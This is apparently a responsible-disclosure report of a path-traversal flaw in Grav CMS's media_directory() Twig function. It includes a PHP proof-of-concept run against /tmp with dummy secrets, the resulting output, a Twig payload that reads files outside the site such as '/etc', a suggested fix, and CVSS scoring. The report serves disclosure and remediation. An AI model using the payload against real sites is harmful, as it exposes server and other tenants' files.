Details
$locator = new UniformResourceLocator('/home/claude/grav');
$locator->addPath('user', '', ['user']);
$locator->addPath('image', '', ['user/images']);
$grav = new Grav([
'locator' => function () use ($locator) { return $locator; },
'config' => function () { return new FakeConfig(); },
'pages' => function () { return new FakePages(); },
]);
$ref = new ReflectionClass(Grav::class);
$prop = $ref->getProperty('instance');
$prop->setAccessible(true);
$prop->setValue(null, $grav);
// Stand-in for "somewhere outside the intended scope". Using /tmp so the
// PoC is safe to run here, the mechanism is identical for /etc or any
// other web-server-readable path.
$target = '/tmp/outside-grav-webroot-demo';
@mkdir($target);
file_put_contents($target . '/secret-notes.txt', "internal notes, not meant to be public\n");
file_put_contents($target . '/config-snippet.json', '{"api_key":"REDACTED-EXAMPLE-abc123"}');
file_put_contents($target . '/random.bin', random_bytes(16)); // not a recognized media type
echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n";
echo "Target directory: $target\n";
echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";
// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().
if ($locator->isStream($target)) {
$resolved = $locator->findResource($target);
} else {
$resolved = $target; // the vulnerable fallthrough
}
$media = new Media($resolved);
echo "Files Media discovered in that directory:\n";
foreach ($media->all() as $filename => $medium) {
echo " - $filename (" . get_class($medium) . ")\n";
// filepath is allow-listed for Medium in the real sandbox config.
echo " .filepath => " . $medium->get('filepath') . "\n";
echo " file content (read from that path):\n";
echo " \"" . trim((string) @file_get_contents($medium->get('filepath'))) . "\"\n\n";
}
Step 4, run it:
$ php media_traversal_poc.php
Actual output:
=== Grav\Common\Page\Media, real unmodified source, given a plain filesystem path ===
Target directory: /tmp/outside-grav-webroot-demo
Is it registered as a Grav stream? no
Files Media discovered in that directory:
- config-snippet.json (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/config-snippet.json file content (read from that path): "{"api_key":"REDACTED-EXAMPLE-abc123"}"
- secret-notes.txt (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/secret-notes.txt file content (read from that path): "internal notes, not meant to be public"
`random.bin` is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default `media.types` list (`txt`, `json`, ...), not because of anything I loosened in the stub.
This is the equivalent of a real page containing `{{ media_directory('/etc').files }}` (or any other path outside the site) being able to enumerate and, via `.filepath` on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.
## Impact
Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with `process.twig: true`, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (`txt`, `json`, `xml`, `pdf`, `doc`, `docx`, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the `user://`/`theme://` scope the sandbox is meant to constrain content authors to.
## Suggested fix
In `mediaDirFunc()`, when `$media_dir` is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with `realpath()` that the result is contained within an explicitly allowed root (for example `user://`) before constructing `Media`. Separately, resolve the contradiction in `system/config/security.yaml`, either remove `filepath` from the `Medium` allow-list to match the stated intent in the comment above it, or, if some sandboxed use of `filepath` is genuinely needed, scope it so it cannot be combined with an unbounded `media_directory()` to reach arbitrary paths.
===========================================================
CWE FIELD
===========================================================
CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
===========================================================
CVSS CALCULATOR SELECTIONS (v3.1)
===========================================================
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: None
Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Resulting score: 6.5, severity Medium
Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own `system`/`site`/`theme` config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".
===========================================================
SEVERITY FIELD
===========================================================
Moderate, possibly High, see note above